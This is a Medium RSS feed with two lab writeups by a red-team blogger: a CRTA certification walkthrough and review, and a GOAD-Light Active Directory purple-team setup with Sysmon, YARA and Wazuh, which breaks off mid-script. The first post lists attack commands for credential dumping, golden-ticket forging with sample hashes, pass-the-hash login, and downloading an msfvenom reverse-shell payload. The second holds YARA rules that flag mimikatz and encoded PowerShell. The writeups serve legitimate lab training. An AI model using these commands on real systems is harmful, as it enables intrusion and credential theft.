<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Fa1sePositiv3 on Medium]]></title>
        <description><![CDATA[Stories by Fa1sePositiv3 on Medium]]></description>
        <link>https://medium.com/@omaraani?source=rss-39e4cb6779ef------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*NsOGIox6G5ozoWm1ctvxMg.jpeg</url>
            <title>Stories by Fa1sePositiv3 on Medium</title>
            <link>https://medium.com/@omaraani?source=rss-39e4cb6779ef------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 27 Nov 2026 13:16:06 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@omaraani/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[CRTA: Full Walkthrough and My Honest Review]]></title>
            <link>https://medium.com/@omaraani/crta-full-walkthrough-and-my-honest-review-7039e8de2860?source=rss-39e4cb6779ef------2</link>
            <guid isPermaLink="false">https://medium.com/p/7039e8de2860</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[cyber-warfare]]></category>
            <category><![CDATA[linux]]></category>
            <dc:creator><![CDATA[Fa1sePositiv3]]></dc:creator>
            <pubDate>Mon, 12 Oct 2026 20:28:44 GMT</pubDate>
            <atom:updated>2026-10-12T20:28:44.867Z</atom:updated>
            <content:encoded><![CDATA[<h3>CRTA: Full Walkthrough and My Honest Review (Exam &amp; Lab Summarized Walkthrough)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SR9tjuFDwIHhLppY2clNJg.png" /></figure><h3>Introduction</h3><p>On October 11 2026 i obtained the <strong>CRTA</strong> certificate from CyberWarfare. The exam is a black box which consists of an active directory environment which is hidden beforehand and you have to reach through a website as your initial target.</p><p>The exam has flags you need to find as you go through each step. Below is a summarized flow of the exam.</p><pre>SSRF --&gt; LFI ETC/PASSWD --&gt; Enumeration --&gt; Website Login Credentials <br>&amp; Hidden IP with HTTP --&gt; AD Initial Access credentials in txt file --&gt; Privilege Escalation --&gt; Secret Flag</pre><h3>Course Content</h3><p>The course content is thorough and great as a beginner, the book as well as the case study. The only issue is, there is some typos in the book as well as the videos. The most learning you will get is the case study video, so i advice whoever is new to Active Directory to just learn the basics externally step by step then watch the case study (Lab) video. Although the case study is great, the videos is old and unnecessarily long and can confuse beginners. The methodology is correct, but also narrow as it only shows lateral movement through getting a service ticket, but not the <strong>administrator.ccache </strong>for instance.</p><p>My ultimate advice, learn the basics wherever you like, do the lab multiple times your own way and with your own tools. Below i will list more details on how to approach the lab better as well as the methodology to follow.</p><h3>The Exam</h3><p>The exam was honestly way easier than i expected. The lab was more detailed and difficult as we needed to laterally move to the parent domain by forging a <strong>golden ticket </strong>which was not in the exam at all. The lab is very good practice in general especially if you are preparing for other certs like <strong>OSCP</strong> or <strong>AD-RTS</strong>. Overall, great for anyone getting into Red Teaming in Active Directory as you will chain vulnerabilities together, enumerate the system and <strong>privilege escalate</strong> your way in the system.</p><h3>How to prepare?</h3><p>I can say that i definitely over prepared even though there is no such thing, no knowledge is wasted :) I got in the exam very confidently as i finished the lab multiple times and timed it as it was the real exam and my final attempt took less than an hour to fully finish the lab. A few weeks prior i also completed the <a href="https://medium.com/@omaraani/goad-light-active-directory-writeup-purple-teaming-682b718b5fdb"><strong>GOAD-Light</strong></a> lab, which prepared me even more beforehand.</p><p>So, what should YOU do?<br>Practice. Thats the most important, do one of the <a href="https://orange-cyberdefense.github.io/GOAD/"><strong>GOAD</strong></a> labs and the CRTA Lab multiple times. Practice on them until you find you methodology and what you are going to do, then time yourself and imagine you are in the exam. If you can finish it in half the time of the actual exam, you are 100% ready for whatever will come in the exam.</p><h3>My Way</h3><p>Remember, if you practiced and understand the foundations, the exam is way easier than it seems. Below is attack flows i applied for both the exam and lab, no flags or credentials from the exam which follows the terms and conditions of <a href="https://cyberwarfare.live/"><strong>CyberWarfare</strong></a><strong>.</strong></p><h3>Exam methodology</h3><p>Below is my attack flow in details to fully pwning the exam (No passwords or flags given, just methodology)</p><p><strong><em>Disclaimer</em></strong><em>: This writeup is published after i finished the exam, nothing discussed here compromises the exam integrity. </em><strong><em>CWL</em></strong><em> explicitly allows sharing methodology which is whats displayed here.</em></p><pre># Reconnaissance<br>- Nmap the initial target<br>- SSRF --&gt; LFI --&gt; SSH <br># Initial Access</pre><pre># Once on the system:<br>start python3 -m http.server 80 in your Tools/<br>curl -O &lt;IP&gt;/linpeas.sh<br>curl -O &lt;IP&gt;/agent<br>chmod +x linpeas.sh<br>chmod +x agent</pre><pre># Run Linpeas<br>./linpeas | tee linpeas-output.txt</pre><pre># After it finished, get the passwords and find the hidden internal network<br>grep -iE &#39;passwd|Password|container|docker|Accepted&#39; linpeas-output.txt</pre><pre>NOTE: You dont need to docker exec -it &lt;DOCKER_ID&gt; because you will find the password through linpeas.</pre><pre># Start Ligolo<br>sudo ./proxy -selfcert<br>./agent -connect &lt;IP&gt;:11601 -ignore-cert</pre><pre># Then on your attacker machine<br>sudo ip route add 10.10.10.0/24 dev ligolo</pre><pre># Nmap<br>sudo nmap -sn 10.10.10.0/24<br># Hidden IP found earlier through Linpeas<br>sudo nmap -sVC 10.10.10.20<br># DC Scan<br>sudo nmap -sVC 10.10.10.100</pre><pre># Fuzz the hidden website<br>gobuster dir -u <a href="http://10.10.10.20/">http://10.10.10.20</a> -w /usr/share/wordlists/rockyou.txt</pre><pre># After you find the AD Credentials file there, test access<br>nxc smb &lt;IP&gt; &lt;DOMAIN&gt;/&lt;USER&gt;:&lt;PASS&gt;@&lt;TARGET-DOMAIN&gt; <br># If successful, proceed to dump<br>nxc smb &lt;IP&gt; &lt;DOMAIN&gt;/&lt;USER&gt;:&lt;PASS&gt;@&lt;TARGET-DOMAIN&gt; --lsa --ntds --sam<br>OR<br>impacket-secretsdump &lt;DOMAIN&gt;/&lt;USER&gt;:&lt;PASS&gt;@&lt;TARGET-DOMAIN&gt;</pre><pre># Login with the administrator NT hash<br>evil-winrm -i &lt;IP&gt; -u Administrator -H &lt;NTHASH&gt;</pre><pre>Get your secret file and thats it !</pre><h3>Lab methodology</h3><p>Step by step pwning for the lab</p><pre># Ligolo<br>sudo ./proxy -selfcert<br>./agent -connect &lt;IP&gt; -ignore-cert<br>autoroute</pre><pre># Know what are the target IPs for AD from Linux<br>ip neigh show<br>Add REACHABLE/STALE hosts in /etc/hosts and parent IP in the resolv.conf</pre><pre># IMPORTANT: After connection, add the internal IPs or /24 to the ligolo interface</pre><pre># Debug Network Interface<br>ip route get dev ligolo<br>ip route get dev tun0<br>sudp ip route add 192.168.98.0/24 dev ligolo<br>sudo ip route replace 192.168.98.120/32 dev ligoxy<br>sudo ip route replace 192.168.98.2/32 dev ligoxy<br>sudo ip route replace 192.168.98.30/32 dev ligoxy</pre><pre># Initial Access Enumeration<br>./linpeas -s | grep -iE &#39;.db|container|sqlite|mysql&#39; | tee linpeas_output.txt</pre><pre># Enum manually for sqlite, db, and docker<br>echo &quot;=== DATABASE FILES ===&quot;; find /home /opt /var/www /srv /tmp -type f \( -iname &quot;*.db&quot; -o -iname &quot;*.sqlite*&quot; -o -iname &quot;*.db3&quot; \) 2&gt;/dev/null; echo &quot;=== CONTAINER PROCESSES ===&quot;; ps aux | grep -Ei &#39;docker|containerd|podman|runc|lxc&#39; | grep -v grep; echo &quot;=== CONTAINER SOCKETS ===&quot;; ls -l /var/run/docker.sock /run/containerd/containerd.sock 2&gt;/dev/null; echo &quot;=== COMPOSE AND ENV FILES ===&quot;; find /home /opt /srv /var/www -type f \( -name &#39;.env&#39; -o -name &#39;compose.yaml&#39; -o -name &#39;compose.yml&#39; -o -name &#39;docker-compose.yml&#39; -o -name &#39;docker-compose.yaml&#39; \) 2&gt;/dev/null</pre><pre># Open an sqlite file<br>sqlite3 PATH/password.sqlite<br># Get a shell inside a Docker container<br>docker exec -it &lt;CONTAINER_ID&gt; /bin/sh<br># STABLE REV SHELL<br>msfvenom --platform windows -p windows/shell_reverse_tcp LHOST=192.168.98.15 LPORT=5555 -f exe -o oklz.exe</pre><pre># Ligolo python dropper<br>listener_add --addr 192.168.98.15:8000 --to 127.0.0.1:8000<br># Ligolo Stable Reverse Shell<br>listener_add --addr 192.168.98.15:5555 --to 127.0.0.1:666</pre><pre># cURLing<br>curl.exe -O <a href="http://192.168.98.15:8000/okyz.exe">http://192.168.98.15:8000/okyz.exe</a></pre><pre># Parent Domain Test<br>dir \\dc01.warfare.corp\C$</pre><pre># AD Enumeration  <br># Domain users<br>nxc ldap &lt;DC_IP&gt; -d &lt;DOMAIN&gt; -u &#39;&lt;USER&gt;&#39; -p &#39;&lt;PASSWORD&gt;&#39; --users<br># Export users<br>nxc ldap &lt;DC_IP&gt; -d &lt;DOMAIN&gt; -u &#39;&lt;USER&gt;&#39; -p &#39;&lt;PASSWORD&gt;&#39; --users-export users.txt<br># Groups<br>nxc ldap &lt;DC_IP&gt; -d &lt;DOMAIN&gt; -u &#39;&lt;USER&gt;&#39; -p &#39;&lt;PASSWORD&gt;&#39; --groups<br># Computers<br>nxc ldap &lt;DC_IP&gt; -d &lt;DOMAIN&gt; -u &#39;&lt;USER&gt;&#39; -p &#39;&lt;PASSWORD&gt;&#39; --computers<br># Domain controllers<br>nxc ldap &lt;DC_IP&gt; -d &lt;DOMAIN&gt; -u &#39;&lt;USER&gt;&#39; -p &#39;&lt;PASSWORD&gt;&#39; --dc-list<br># Domain SID<br>nxc ldap &lt;DC_IP&gt; -d &lt;DOMAIN&gt; -u &#39;&lt;USER&gt;&#39; -p &#39;&lt;PASSWORD&gt;&#39; --get-sid<br># Active users<br>nxc ldap &lt;DC_IP&gt; -d &lt;DOMAIN&gt; -u &#39;&lt;USER&gt;&#39; -p &#39;&lt;PASSWORD&gt;&#39; --active-users<br># Password policy<br>nxc ldap &lt;DC_IP&gt; -d &lt;DOMAIN&gt; -u &#39;&lt;USER&gt;&#39; -p &#39;&lt;PASSWORD&gt;&#39; --pass-pol<br># Fine-grained password policies<br>nxc ldap &lt;DC_IP&gt; -d &lt;DOMAIN&gt; -u &#39;&lt;USER&gt;&#39; -p &#39;&lt;PASSWORD&gt;&#39; --pso<br># AS-REP Roasting<br>nxc ldap &lt;DC_IP&gt; -d &lt;DOMAIN&gt; -u &#39;&lt;USER&gt;&#39; -p &#39;&lt;PASSWORD&gt;&#39; --asreproast asrep-results.txt<br># Kerberoasting<br>nxc ldap &lt;DC_IP&gt; -d &lt;DOMAIN&gt; -u &#39;&lt;USER&gt;&#39; -p &#39;&lt;PASSWORD&gt;&#39; --kerberoasting kerberoast-results.txt<br># Find delegation<br>nxc ldap &lt;DC_IP&gt; -d &lt;DOMAIN&gt; -u &#39;&lt;USER&gt;&#39; -p &#39;&lt;PASSWORD&gt;&#39; --find-delegation<br># Accounts trusted for delegation<br>nxc ldap &lt;DC_IP&gt; -d &lt;DOMAIN&gt; -u &#39;&lt;USER&gt;&#39; -p &#39;&lt;PASSWORD&gt;&#39; --trusted-for-delegation<br># BloodHound collection<br>nxc ldap &lt;DC_IP&gt; -d &lt;DOMAIN&gt; -u &#39;&lt;USER&gt;&#39; -p &#39;&lt;PASSWORD&gt;&#39; --bloodhound -c &lt;COLLECTION&gt;</pre><pre># Dumping<br>nxc smb 192.168.98.30 -u -p --ntds<br>nxc smb 192.168.98.30 -u -p --lsa<br>impacket-secretsdump -u -p</pre><pre># GOLDEN TICKET<br>impacket-ticketer -domain child.warfare.corp -nthash e57dd34c1871b7a23fb17a77dec9b900 -domain-sid S-1-5-21-3754860944-83624914-1883974761 -extra-sid S-1-5-21-3375883379-808943238-3239386119-519 administrator<br>export KRB5CCNAME= administrator.ccache</pre><pre># TEST<br>nxc smb 192.168.98.2 -u administrator —use-kcache (PWN3D) (If didnt work check nameserver and make sure parent IP is the only one there.)</pre><pre># DUMP<br>nxc smb 192.168.98.2 -u administrator --use-kcache --ntds (IT HAS TO BE NTDS)<br># LOGIN<br>evil-winrm -i 192.168.98.2 -u administrator -H a2f7b77b62cd97161e18be2ffcfdfd60 </pre><pre># GET THE FLAG OR A BETTER SHELL<br>curl.exe -O <a href="http://192.168.98.15:8000/okyz.exe">http://192.168.98.15:8000/oklz.exe</a> </pre><pre># THEN LISTEN ON THE REV SHELL PORT AND THAT IT !<br>nc -lvnp 666</pre><h3>Conclusion</h3><p><a href="https://cyberwarfare.live/">CyberWarfare Labs</a> is great as its cost-efficient, has many courses for each role (Blue, Red, Ai, Purple &amp; more). Its a great place to start and work your way up to more complex AD exams where obfuscation, Defense Evasion, and lateral movement is more occurring and the forest is waay bigger. Good luck to everyone and stay curious :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7039e8de2860" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[GOAD-Light Active Directory Writeup (Purple Teaming)]]></title>
            <link>https://medium.com/@omaraani/goad-light-active-directory-writeup-purple-teaming-682b718b5fdb?source=rss-39e4cb6779ef------2</link>
            <guid isPermaLink="false">https://medium.com/p/682b718b5fdb</guid>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[homelab]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[Fa1sePositiv3]]></dc:creator>
            <pubDate>Sat, 26 Sep 2026 17:24:34 GMT</pubDate>
            <atom:updated>2026-10-05T05:21:53.112Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Wzp6NAdgh1Wh87Un.png" /></figure><p>Hello and welcome everyone, today i will guide you through the <a href="https://orange-cyberdefense.github.io/GOAD/"><strong>GOAD-Light</strong></a><strong> </strong>lab. In addition to how to start and go through an AD environment, we will also setup Wazuh in a Docker container to collect log our attacks when possible for later analysis. This approach makes it better for both Red Teamers and Blue Teamers, also more knowledge does not hurt :)</p><h3>Introduction</h3><p>Active Directory is almost in every organization, especially with a large amount of employees that need to be on a centralized network, database, and emails etc. Being able to break it to find vulnerabilities before attackers do is a great skill, that even if the <strong>AD</strong> is configured properly, there is always an open door.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/523/0*ttTUJbsNVvcHBdIw.png" /></figure><h3>Lab Setup</h3><p>For the AD Lab i will be using <a href="https://orange-cyberdefense.github.io/GOAD/labs/GOAD-Light/#servers">GOAD-Light</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*RI9DO6hgqMIDglAB.png" /></figure><p><strong>Note</strong>: To avoid errors during <strong>GOAD</strong> setup, make sure you configure everything according to the requirements as well as having all the installations and services ready. You can give any AI the context and debug if you face any issues.</p><h3>My Tuning &amp; Tips</h3><p><strong>GOAD</strong> is great by itself, but for my preference, i transformed and enhanced to a <strong>Purple Teaming</strong> lab, since im not only interested in Red Teaming, but also Blue Teaming. This is of course optional but if you are interested in logging all the attacks you do and seeing the defense POV, you are welcome to do so.</p><p><strong>This is the lab after my configurations:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*NSBqtXl_cuj_S5bt.png" /></figure><h3>Attacker Machine</h3><p>Since the GOAD lab does not give us an attacker machine, we have to set one up. I have a Kali machine running but its only lacking to be on the same network as the AD. Inside the Kali VM, do the following:</p><ul><li>Settings → Network Adapter → vmnet (Assign to same vmnet of the AD VMs)</li><li>Assign an IP address on the same subnet using these commands:</li></ul><pre># 1 Get connection name<br>nmcli connection show</pre><pre># 2 Assign static IP, Gateway, and set DNS to DC01 (192.168.56.10)<br>sudo nmcli con mod &quot;Wired connection 1&quot; ipv4.addresses 192.168.56.99/24<br>sudo nmcli con mod &quot;Wired connection 1&quot; ipv4.dns &quot;192.168.56.10&quot;<br>sudo nmcli con mod &quot;Wired connection 1&quot; ipv4.dns-search &quot;sevenkingdoms.local,north.sevenkingdoms.local&quot;<br>sudo nmcli con mod &quot;Wired connection 1&quot; ipv4.method manual</pre><pre># 3 Apply changes<br>sudo nmcli con down &quot;Wired connection 1&quot; &amp;&amp; sudo nmcli con up &quot;Wired connection 1&quot;</pre><pre># 4 Check IP<br>ip a</pre><pre># 5 Test Connectivity <br>ping 192.168.56.10 <br># Test the AD VMs by pinging their IPs and also you can test the DNS</pre><h3>Sysmon &amp; Wazuh Setup</h3><p>To setup sysmon on the Windows VMs without logging in, so you dont cheat yourself, replace the <strong><em>Vagrantfile</em></strong> in this directory ~/GOAD/workspace/xb1fd1-goad-light-vmware/provider. I chose Wazuh as it is a light VM and i will run it on Docker. I also added the Audit Policies, as they are not enabled by default. We will forward the event logs from the Windows VMs to Wazuh for later analysis.</p><pre># THERE ARE MULTIPLE STEPS HERE SO GO THROUGH THEM CAREFULLY</pre><pre># STEP 1: Update the Vagrantfile script to setup Wazuh, Sysmon, Audit Policies, and YARA Rules.</pre><pre># Open the Vagrantfile to check it out<br>nano Vagrantfile<br># Remove all the content inside the file<br>: &gt; Vagrantfile # Copy it to your notes just in case</pre><pre># Paste this new code<br>Vagrant.configure(&quot;2&quot;) do |config|</pre><pre>  ENV[&#39;VAGRANT_DEFAULT_PROVIDER&#39;] = &#39;vmware_desktop&#39;</pre><pre>  boxes = [<br>    # windows server 2019<br>    { :name =&gt; &quot;GOAD-Light-DC01&quot;,  :ip =&gt; &quot;192.168.56.10&quot;, :box =&gt; &quot;StefanScherer/windows_2019&quot;, :box_version =&gt; &quot;2021.05.15&quot;, :os =&gt; &quot;windows&quot;, :cpus =&gt; 2, :mem =&gt; 3000},<br>    # windows server 2019<br>    { :name =&gt; &quot;GOAD-Light-DC02&quot;,  :ip =&gt; &quot;192.168.56.11&quot;, :box =&gt; &quot;StefanScherer/windows_2019&quot;, :box_version =&gt; &quot;2021.05.15&quot;, :os =&gt; &quot;windows&quot;, :cpus =&gt; 2, :mem =&gt; 3000},<br>    # windows server 2019<br>    { :name =&gt; &quot;GOAD-Light-SRV02&quot;, :ip =&gt; &quot;192.168.56.22&quot;, :box =&gt; &quot;StefanScherer/windows_2019&quot;, :box_version =&gt; &quot;2021.05.15&quot;, :os =&gt; &quot;windows&quot;, :cpus =&gt; 2, :mem =&gt; 6000}<br>  ]</pre><pre>  config.vm.provider &quot;vmware_desktop&quot; do |v|<br>    v.force_vmware_license = &quot;workstation&quot;  # force the licence for fix some vagrant plugin issue<br>    # v.gui = true<br>  end</pre><pre>  # disable rdp forwarded port inherited from StefanScherer box<br>  config.vm.network :forwarded_port, guest: 3389, host: 3389, id: &quot;rdp&quot;, auto_correct: true, disabled: true</pre><pre>  # no autoupdate if vagrant-vbguest is installed<br>  if Vagrant.has_plugin?(&quot;vagrant-vbguest&quot;) then<br>    config.vbguest.auto_update = false<br>  end</pre><pre>  config.vm.boot_timeout = 600<br>  config.vm.graceful_halt_timeout = 600<br>  config.winrm.retry_limit = 30<br>  config.winrm.retry_delay = 10</pre><pre>  boxes.each do |box|<br>    config.vm.define box[:name] do |target|<br>      # BOX<br>      target.vm.provider &quot;vmware_desktop&quot; do |v|<br>        v.vmx[&quot;memsize&quot;] = box[:mem]<br>        v.vmx[&quot;numvcpus&quot;] = box[:cpus]<br>      end</pre><pre>      target.vm.box_download_insecure = box[:box]<br>      target.vm.box = box[:box]<br>      if box.has_key?(:box_version)<br>        target.vm.box_version = box[:box_version]<br>      end</pre><pre>      # issues/49<br>      target.vm.synced_folder &#39;.&#39;, &#39;/vagrant&#39;, disabled: true</pre><pre>      # IP<br>      target.vm.network :private_network, ip: box[:ip]</pre><pre>      # OS specific<br>      if box[:os] == &quot;windows&quot;<br>        target.vm.guest = :windows<br>        target.vm.communicator = &quot;winrm&quot;<br>        target.vm.provision :shell, :path =&gt; &quot;../../../vagrant/Install-WMF3Hotfix.ps1&quot;, privileged: false<br>        target.vm.provision :shell, :path =&gt; &quot;../../../vagrant/ConfigureRemotingForAnsible.ps1&quot;, privileged: false</pre><pre>        if ENV[&#39;VAGRANT_DEFAULT_PROVIDER&#39;] == &quot;vmware_desktop&quot;<br>        <br>          target.vm.provision &quot;shell&quot;, inline: &quot;Start-Process powershell -ArgumentList &#39;-ExecutionPolicy Bypass -File ../../../vagrant/fix_ip.ps1 #{box[:ip]}&#39; -WindowStyle Hidden; Start-Sleep -Seconds 3&quot;, privileged: false<br>        end</pre><pre>        # Calls external Wazuh.YARA.ps1 script in the same directory<br>        target.vm.provision &quot;shell&quot;, path: File.join(File.dirname(__FILE__), &quot;Wazuh.YARA.ps1&quot;), privileged: true</pre><pre>      else<br>        target.vm.communicator = &quot;ssh&quot;<br>      end</pre><pre>      if box.has_key?(:forwarded_port)<br>        # forwarded port explicit<br>        box[:forwarded_port] do |forwarded_port|<br>          target.vm.network :forwarded_port, guest: forwarded_port[:guest], host: forwarded_port[:host], host_ip: &quot;127.0.0.1&quot;, id: forwarded_port[:id]<br>        end<br>      end</pre><pre>    end<br>  end<br>end</pre><pre># STEP 2: Deploying Wazuh Docker on your device</pre><pre># First, clone Wazuh to your system<br>cd ~/Desktop<br># NOTE: Make sure Docker is running, if not just start the application<br>docker --version<br>docker compose version<br>git clone <a href="https://github.com/wazuh/wazuh-docker.git">https://github.com/wazuh/wazuh-docker.git</a> -b v4.8.0 --depth 1<br>cd wazuh-docker/single-node<br>docker compose up -d<br>docker ps # 3 images should be running and show you all 3 ports<br># Quick note: If the localhost:5601 isnt running, its probably because the indexer is not running. Make sure the three images are running.<br>#==============================================================================</pre><pre># STEP 3: Make a new .ps1 file in /provider directory where Vagrant file is and paste this code. <br># This PowerShell code sets up PowerShell Logging, Wazuh Agent, and YARA rules</pre><pre># NOTE: The .ps1 file name has to match Wazuh.YARA.ps1, because it is triggered in step 1 in the Vagrantfile.</pre><pre># ============================================================================<br># 1. PRE-FLIGHT &amp; NETWORK STABILIZATION<br># ============================================================================<br>$ErrorActionPreference = &#39;Stop&#39;<br>$ProgressPreference = &#39;SilentlyContinue&#39; # Disables native progress bars that break WinRM<br>[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12<br>Set-ItemProperty -Path &quot;HKLM:\SOFTWARE\Policies\Microsoft\Internet Explorer\Main&quot; -Name &quot;DisableFirstRunCustomize&quot; -Value 1 -Type DWord -ErrorAction SilentlyContinue</pre><pre>Write-Host &quot;[*] Waiting for network to stabilize after IP reconfiguration...&quot; -ForegroundColor Cyan<br>$MaxRetries = 12<br>$RetryCount = 0<br>$NetworkUp = $false</pre><pre>while (-not $NetworkUp -and $RetryCount -lt $MaxRetries) {<br>    $Test = Test-NetConnection -ComputerName &quot;github.com&quot; -Port 443 -InformationLevel Quiet<br>    if ($Test) {<br>        $NetworkUp = $true<br>        Write-Host &quot;[+] Internet connectivity confirmed.&quot; -ForegroundColor Green<br>    } else {<br>        Write-Host &quot;[-] Network not ready, waiting 5 seconds...&quot; -ForegroundColor Yellow<br>        Start-Sleep -Seconds 5<br>        $RetryCount++<br>    }<br>}</pre><pre>if (-not $NetworkUp) {<br>    Write-Host &quot;[!] CRITICAL: Could not reach the internet. Downloads will fail.&quot; -ForegroundColor Red<br>}</pre><pre># ============================================================================<br># 2. POWERSHELL LOGGING CONFIGURATION<br># ============================================================================<br>Write-Host &quot;[+] Enabling PowerShell Script Block and Module Logging...&quot; -ForegroundColor Green<br>$PSLogPath = &quot;HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell&quot;<br>if (-not (Test-Path &quot;$PSLogPath\ScriptBlockLogging&quot;)) { New-Item -Path &quot;$PSLogPath\ScriptBlockLogging&quot; -Force | Out-Null }<br>Set-ItemProperty -Path &quot;$PSLogPath\ScriptBlockLogging&quot; -Name &quot;EnableScriptBlockLogging&quot; -Value 1 -Type DWord<br>Set-ItemProperty -Path &quot;$PSLogPath\ScriptBlockLogging&quot; -Name &quot;EnableScriptBlockInvocationLogging&quot; -Value 1 -Type DWord</pre><pre>if (-not (Test-Path &quot;$PSLogPath\ModuleLogging\ModuleNames&quot;)) { New-Item -Path &quot;$PSLogPath\ModuleLogging\ModuleNames&quot; -Force | Out-Null }<br>Set-ItemProperty -Path &quot;$PSLogPath\ModuleLogging&quot; -Name &quot;EnableModuleLogging&quot; -Value 1 -Type DWord<br>Set-ItemProperty -Path &quot;$PSLogPath\ModuleLogging\ModuleNames&quot; -Name &quot;*&quot; -Value &quot;*&quot; -Type String</pre><pre># ============================================================================<br># 3. SYSMON INSTALLATION<br># ============================================================================<br>Write-Host &quot;[+] Downloading and Installing Sysmon...&quot; -ForegroundColor Green<br>$SysmonDir = &quot;$env:TEMP\Sysmon&quot;<br>if (-not (Test-Path $SysmonDir)) { New-Item -ItemType Directory -Path $SysmonDir -Force | Out-Null }</pre><pre>$SysmonZip = &quot;$SysmonDir\Sysmon.zip&quot;<br>$SysmonConfig = &quot;$SysmonDir\sysmonconfig.xml&quot;</pre><pre># Download Sysmon and SwiftOnSecurity Config<br>Invoke-WebRequest -Uri &quot;https://download.sysinternals.com/files/Sysmon.zip&quot; -OutFile $SysmonZip -UseBasicParsing -TimeoutSec 60<br>Invoke-WebRequest -Uri &quot;https://raw.githubusercontent.com/SwiftOnSecurity/sysmon-config/master/sysmonconfig-export.xml&quot; -OutFile $SysmonConfig -UseBasicParsing -TimeoutSec 60</pre><pre>Expand-Archive -Path $SysmonZip -DestinationPath $SysmonDir -Force</pre><pre># Install Sysmon Silently<br>Start-Process -FilePath &quot;$SysmonDir\sysmon64.exe&quot; -ArgumentList &quot;-accepteula -i `&quot;$SysmonConfig`&quot;&quot; -Wait -WindowStyle Hidden<br>Write-Host &quot;[+] Sysmon installed and running.&quot; -ForegroundColor Green</pre><pre># ============================================================================<br># 4. YARA INSTALLATION<br># ============================================================================<br>Write-Host &quot;[+] Downloading and Setting up YARA...&quot; -ForegroundColor Green<br>$YaraDir = &quot;C:\Program Files (x86)\ossec-agent\active-response\bin\yara&quot;<br>if (-not (Test-Path $YaraDir)) { New-Item -ItemType Directory -Path $YaraDir -Force | Out-Null }</pre><pre>$YaraZip = &quot;$env:TEMP\yara.zip&quot;<br>Invoke-WebRequest -Uri &quot;https://github.com/VirusTotal/yara/releases/download/v4.5.2/yara-v4.5.2-2326-win64.zip&quot; -OutFile $YaraZip -UseBasicParsing -TimeoutSec 60<br>Expand-Archive -Path $YaraZip -DestinationPath $YaraDir -Force<br>Remove-Item $YaraZip -Force</pre><pre># Write YARA Rules<br>$YaraRulesContent = @&#39;<br>rule EICAR_Test { strings: $a = &quot;EICAR-STANDARD-ANTIVIRUS-TEST-FILE&quot; condition: $a }<br>rule Mimikatz_Strings { strings: $m1 = &quot;mimikatz&quot; nocase condition: any of ($m*) }<br>rule Suspicious_PowerShell { strings: $ps1 = &quot;-ExecutionPolicy Bypass&quot; nocase $ps2 = &quot;-EncodedCommand&quot; nocase condition: any of ($ps*) }<br>&#39;@<br>$RulesFilePath = &quot;$YaraDir\rules.yar&quot;<br>Set-Content -Path $RulesFilePath -Value $YaraRulesContent -Encoding UTF8<br>Write-Host &quot;[+] YARA rules successfully updated.&quot; -ForegroundColor Green</pre><pre># ============================================================================<br># 5. WAZUH AGENT INSTALLATION<br># ============================================================================<br>$WazuhManagerIP = &quot;192.168.56.1&quot;</pre><pre># ---&gt; CHANGE THIS TO MATCH YOUR DASHBOARD VERSION EXACTLY &lt;---<br>$AgentVersion = &quot;4.8.0&quot; </pre><pre>Write-Host &quot;[+] Checking for mismatched Wazuh versions...&quot; -ForegroundColor Yellow<br>$UninstallStr = (Get-ItemProperty &quot;HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*&quot; -ErrorAction SilentlyContinue | Where-Object DisplayName -eq &quot;Wazuh Agent&quot;).UninstallString</pre><pre>if ($UninstallStr) {<br>    Write-Host &quot;[!] Existing Wazuh agent found. Uninstalling for clean version install...&quot; -ForegroundColor Yellow<br>    $CleanArgs = $UninstallStr -replace &#39;msiexec.exe &#39;,&#39;&#39; -replace &#39;/I&#39;,&#39;/X&#39; -replace &#39;/i&#39;,&#39;/X&#39;<br>    $CleanArgs += &quot; /quiet&quot;<br>    Start-Process msiexec.exe -ArgumentList $CleanArgs -Wait<br>}</pre><pre>$AgentMsi = &quot;$env:TEMP\wazuh-agent.msi&quot;<br>$WazuhUrl = &quot;https://packages.wazuh.com/4.x/windows/wazuh-agent-$AgentVersion-1.msi&quot;</pre><pre>Write-Host &quot;[+] Downloading and Installing Wazuh Agent v$AgentVersion...&quot; -ForegroundColor Green<br>Invoke-WebRequest -Uri $WazuhUrl -OutFile $AgentMsi -UseBasicParsing -TimeoutSec 60<br>Start-Process msiexec.exe -ArgumentList &quot;/i `&quot;$AgentMsi`&quot; /q WAZUH_MANAGER=`&quot;$WazuhManagerIP`&quot; WAZUH_REGISTRATION_SERVER=`&quot;$WazuhManagerIP`&quot;&quot; -Wait<br>Remove-Item $AgentMsi -Force<br># ============================================================================<br># 6. WAZUH LOG FORWARDING CONFIGURATION<br># ============================================================================<br>Write-Host &quot;[+] Configuring Wazuh to forward Sysmon and PowerShell logs...&quot; -ForegroundColor Green<br>$OssecConf = &quot;C:\Program Files (x86)\ossec-agent\ossec.conf&quot;</pre><pre>if (Test-Path $OssecConf) 